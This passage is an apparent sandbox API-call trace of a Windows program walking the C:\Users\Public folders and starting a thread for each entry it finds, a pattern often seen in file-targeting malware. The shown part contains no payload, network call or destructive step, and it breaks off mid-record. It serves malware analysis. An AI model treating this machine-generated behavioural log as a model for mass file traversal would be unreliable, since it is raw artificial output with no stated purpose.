ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0063.513] FindClose (in: hFindFile=0x3434668 | out: hFindFile=0x3434668) returned 1 [0063.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428928) returned 1 [0063.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344e8) returned 1 [0063.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9408) returned 1 [0063.514] RtlExitUserThread (Status=0x0) Thread: id = 261 os_tid = 0x128c [0063.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x34344e8 [0063.514] wcscpy (in: _Dest=0x34344e8, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0063.515] wcscat (in: _Dest=0x34344e8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0063.515] wcscat (in: _Dest=0x34344e8, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*" [0063.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429530 [0063.515] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0063.947] wcscmp (_String1=".", _String2=".") returned 0 [0063.947] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.947] wcscmp (_String1="..", _String2=".") returned 1 [0063.947] wcscmp (_String1="..", _String2="..") returned 0 [0063.947] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.947] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.947] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.947] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0063.947] wcscmp (_String1="My Music", _String2=".") returned 1 [0063.947] wcscmp (_String1="My Music", _String2="..") returned 1 [0063.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3481438 [0063.947] wcscpy (in: _Dest=0x3481438, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0063.947] wcscat (in: _Dest=0x3481438, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0063.947] wcscat (in: _Dest=0x3481438, _Source="My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0067.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0067.180] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0067.180] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0067.180] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0067.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430e90 [0067.181] wcscpy (in: _Dest=0x3430e90, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0067.181] wcscat (in: _Dest=0x3430e90, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0067.181] wcscat (in: _Dest=0x3430e90, _Source="My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0067.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0067.181] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0067.181] wcscmp (_String1="My Videos", _String2=".") returned 1 [0067.181] wcscmp (_String1="My Videos", _String2="..") returned 1 [0067.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480ee8 [0067.181] wcscpy (in: _Dest=0x3480ee8, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0067.181] wcscat (in: _Dest=0x3480ee8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0067.181] wcscat (in: _Dest=0x3480ee8, _Source="My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0067.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3480ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0067.182] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x3429530 | out: lpFindFileData=0x3429530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0067.182] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0067.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429530) returned 1 [0067.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344e8) returned 1 [0067.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433fe8) returned 1 [0067.183] RtlExitUserThread (Status=0x0) Thread: id = 262 os_tid = 0x1290 [0063.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x3434528 [0063.516] wcscpy (in: _Dest=0x3434528, _Source="C:\\Users\\Public\\Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0063.516] wcscat (in: _Dest=0x3434528, _Source="\\" | out: _Dest="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0063.516] wcscat (in: _Dest=0x3434528, _Source="*" | out: _Dest="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*" [0063.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342aad8 [0063.516] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343e8 [0063.517] wcscmp (_String1=".", _String2=".") returned 0 [0063.517] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.517] wcscmp (_String1="..", _String2=".") returned 1 [0063.517] wcscmp (_String1="..", _String2="..") returned 0 [0063.517] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.517] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.517] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.517] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.517] FindClose (in: hFindFile=0x34343e8 | out: hFindFile=0x34343e8) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342aad8) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434528) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339a8) returned 1 [0063.517] RtlExitUserThread (Status=0x0) Thread: id = 263 os_tid = 0x1294 [0063.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x34339a8 [0063.518] wcscpy (in: _Dest=0x34339a8, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0063.518] wcscat (in: _Dest=0x34339a8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0063.518] wcscat (in: _Dest=0x34339a8, _Source="*" | out: _Dest="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*" [0063.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342aad8 [0063.518] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343e8 [0063.519] wcscmp (_String1=".", _String2=".") returned 0 [0063.519] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.519] wcscmp (_String1="..", _String2=".") returned 1 [0063.519] wcscmp (_String1="..", _String2="..") returned 0 [0063.519] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.519] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.519] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.519] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0063.519] wcscmp (_String1="RecordedTV.library-ms", _String2=".") returned 1 [0063.519] wcscmp (_String1="RecordedTV.library-ms", _String2="..") returned 1 [0063.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426c58 [0063.519] wcscpy (in: _Dest=0x3426c58, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0063.519] wcscat (in: _Dest=0x3426c58, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0063.519] wcscat (in: _Dest=0x3426c58, _Source="RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0070.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0070.450] FindNextFileW (in: hFindFile=0x34343e8, lpFindFileData=0x342aad8 | out: lpFindFileData=0x342aad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0070.450] FindClose (in: hFindFile=0x34343e8 | out: hFindFile=0x34343e8) returned 1 [0070.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342aad8) returned 1 [0070.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339a8) returned 1 [0070.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ca8) returned 1 [0070.451] RtlExitUserThread (Status=0x0) Thread: id = 264 os_tid = 0x1298 [0063.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x347d160 [0063.520] wcscpy (in: _Dest=0x347d160, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0063.520] wcscat (in: _Dest=0x347d160, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0063.520] wcscat (in: _Dest=0x347d160, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*" [0063.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.521] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0063.521] wcscmp (_String1=".", _String2=".") returned 0 [0063.521] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.521] wcscmp (_String1="..", _String2=".") returned 1 [0063.521] wcscmp (_String1="..", _String2="..") returned 0 [0063.521] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.521] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.521] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.521] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.521] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d160) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9600) returned 1 [0063.521] RtlExitUserThread (Status=0x0) Thread: id = 265 os_tid = 0x129c [0063.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34345e8 [0063.522] wcscpy (in: _Dest=0x34345e8, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0063.522] wcscat (in: _Dest=0x34345e8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0063.522] wcscat (in: _Dest=0x34345e8, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*" [0063.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.522] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0063.522] wcscmp (_String1=".", _String2=".") returned 0 [0063.523] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.523] wcscmp (_String1="..", _String2=".") returned 1 [0063.523] wcscmp (_String1="..", _String2="..") returned 0 [0063.523] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.523] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.523] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.523] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.523] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0063.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0063.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34345e8) returned 1 [0063.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c28) returned 1 [0063.523] RtlExitUserThread (Status=0x0) Thread: id = 266 os_tid = 0x12a0 [0063.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433c28 [0063.524] wcscpy (in: _Dest=0x3433c28, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0063.524] wcscat (in: _Dest=0x3433c28, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0063.524] wcscat (in: _Dest=0x3433c28, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*" [0063.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.524] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0063.525] wcscmp (_String1=".", _String2=".") returned 0 [0063.525] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 